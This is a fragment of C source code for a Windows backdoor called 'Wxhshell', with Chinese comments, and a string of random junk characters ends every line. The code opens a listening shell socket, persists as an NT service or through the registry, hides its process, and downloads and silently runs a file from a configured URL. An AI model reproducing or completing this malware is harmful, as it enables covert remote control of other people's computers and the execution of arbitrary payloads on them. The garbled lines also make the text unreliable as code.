ULONG InheritedFromUniqueProcessId; {.eo?dQ
} PROCESS_BASIC_INFORMATION; m~04I~8vk
2ci[L:U
PROCNTQSIP NtQueryInformationProcess; Y O&@
OYSq)!:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wz%H?m:g#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ncrg`<'/,
0nbY~j$A=
HANDLE hProcess; ijP`fM8
PROCESS_BASIC_INFORMATION pbi; sKCYGt$
MX? *jYl
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {8>g?4Q#
if(NULL == hInst ) return 0; 'Fy"|M;2
(@->AJF1\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PriLV4?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JR8|!Of@B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C#-HWoSi
%_."JT$v{
if (!NtQueryInformationProcess) return 0; [Do^EJ
4C/G &w&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sl/]1[|mb
if(!hProcess) return 0; !c`&L_ "!
@R%*; )*F
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vJxEF&X
R2v9gz;W
CloseHandle(hProcess); 2xf#@`U
)X?oBNsj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EB|
iW2'
if(hProcess==NULL) return 0; :.4O
Hp1
P0y DL:X[
HMODULE hMod; NB1KsvD{
char procName[255]; ,A'| Z
unsigned long cbNeeded; n&Ckfo_D
u$yXuFj/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f-3CDUQ`
Tf~eH!~0
CloseHandle(hProcess); |Fe[RGi+8
gUNhN1=
if(strstr(procName,"services")) return 1; // 以服务启动 OHi.5 (
5mQ@&E~#W
return 0; // 注册表启动 23P&n(.
} Ie(i1?`A8
a M9v
// 主模块 q[_qZ
int StartWxhshell(LPSTR lpCmdLine) KJRAW]?{
{ Wk\(jaL%
SOCKET wsl; M#;
ks9
BOOL val=TRUE; \?;
`_E`j
int port=0; h*%FZ}}`q
struct sockaddr_in door; gE _+r
Ez;Q o8
if(wscfg.ws_autoins) Install(); gYhY1Mym
iI{L>
port=atoi(lpCmdLine); V_:`K$
gYD1A\
if(port<=0) port=wscfg.ws_port; 4d`YZNvZW/
c`soVqT$?
WSADATA data; K f/[Edn
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;.V/ngaj
lG)wa
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^K;k4oK
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8@;]@c)m
door.sin_family = AF_INET; cc|W1,q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Jbwl$mZ
door.sin_port = htons(port); 8cG?p
1Ng+mT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g}NO$?ndg
closesocket(wsl); /?eVWCR
return 1; T&lgWOls
} 5dm ~yQN/
$D1ha CL
if(listen(wsl,2) == INVALID_SOCKET) { v>_@D@pr
closesocket(wsl); e0TYHr)X>3
return 1; KLyRb0V
} D5,]E`jwu
Wxhshell(wsl); a_RY Yj
WSACleanup(); I8Aq8XBw
/W/e%.
return 0; uzBQK
`}EnY@*h
} C|V7ZL>W
i>YS%&O?
// 以NT服务方式启动 qYC&0`:H
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AJ\&>6GZ(b
{ n93q8U6m/U
DWORD status = 0; zMsup4cl
DWORD specificError = 0xfffffff; N&HI)X2&
!Y ,7%
serviceStatus.dwServiceType = SERVICE_WIN32; l=E86"m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; aV\i3\da
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {DRk{>K,
serviceStatus.dwWin32ExitCode = 0; z`wIb
serviceStatus.dwServiceSpecificExitCode = 0; <T}^:2G|
serviceStatus.dwCheckPoint = 0; WC#6(H5t$
serviceStatus.dwWaitHint = 0; 24 [KGp
0P$1=oK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 32wtN8kx
if (hServiceStatusHandle==0) return; d4| )=
kelBqJ-,p
status = GetLastError(); MTu\T
if (status!=NO_ERROR) ?()*"+N(ck
{ QP(0
serviceStatus.dwCurrentState = SERVICE_STOPPED; wlXs/\es
serviceStatus.dwCheckPoint = 0; _4by3?<c
serviceStatus.dwWaitHint = 0; 1SExlU
serviceStatus.dwWin32ExitCode = status; bf_
>?F^
serviceStatus.dwServiceSpecificExitCode = specificError; {KG}m'lx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Ceru o S
return; ,X|Oe@/
} JP>EW&M
/HdXJL9B
serviceStatus.dwCurrentState = SERVICE_RUNNING; "V[j&B)P
serviceStatus.dwCheckPoint = 0; `=(<!nXJx
serviceStatus.dwWaitHint = 0; ]3 "0#Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |/Vq{gxp+
} A%^?z.
k8s)PN
// 处理NT服务事件,比如:启动、停止 \@@ G\\)er
VOID WINAPI NTServiceHandler(DWORD fdwControl) NfoHQU<n
{ *y4DK6OFe
switch(fdwControl) TAYh#T=S
{ hi(b\ABx
case SERVICE_CONTROL_STOP: K*:=d}^
serviceStatus.dwWin32ExitCode = 0; \l!+l
serviceStatus.dwCurrentState = SERVICE_STOPPED; Bl+\|[yd
serviceStatus.dwCheckPoint = 0; JG;}UuHYM
serviceStatus.dwWaitHint = 0; O C&BJNOi
{ ?8O5%IrJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tR!C8:u
} T6/P54S
return; \|>%/P
case SERVICE_CONTROL_PAUSE: y3;M$Jr
serviceStatus.dwCurrentState = SERVICE_PAUSED; e#oK%
{A
break; ,a>Dv@$Y
case SERVICE_CONTROL_CONTINUE: CbZ;gjgY*
serviceStatus.dwCurrentState = SERVICE_RUNNING; yy5|8L
break; vd%AV(]<LJ
case SERVICE_CONTROL_INTERROGATE: ndFVP;q
break; Y2VfJ}%Q
}; +(!/(2>~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^|<>`i6
} d./R;Z- I{
,=e.QAF!"
// 标准应用程序主函数 >~ *wPoW
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `% \CO`
{ l$5nv5r
L]l/w
// 获取操作系统版本 qb;b.P?~D$
OsIsNt=GetOsVer(); *-ys}sX
GetModuleFileName(NULL,ExeFile,MAX_PATH); w<~[ad}
53hX%{3
// 从命令行安装 6D]fDeH\
if(strpbrk(lpCmdLine,"iI")) Install(); Ab[o~X"
zHKP$k8
// 下载执行文件 '`;=d<'
if(wscfg.ws_downexe) { -"zW"v)\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &w9*pJR %
WinExec(wscfg.ws_filenam,SW_HIDE); 0xZ^ f}@L
} -0 xo6'mD
E-1u_7
if(!OsIsNt) { 8Dl(zY K;
// 如果时win9x,隐藏进程并且设置为注册表启动 zf8SpQ2~
HideProc(); z
8M\(<
StartWxhshell(lpCmdLine); r?u4[
Oe#
} @_t=0Rc
else bLS10^g5
if(StartFromService()) uhj]le!
// 以服务方式启动 HY_>sD
StartServiceCtrlDispatcher(DispatchTable); i\;ZEM{
else `StuUa
// 普通方式启动 !e<5JO;c
StartWxhshell(lpCmdLine); sCJ|U6Q-
#9s)f R
return 0; !4<D^eh
}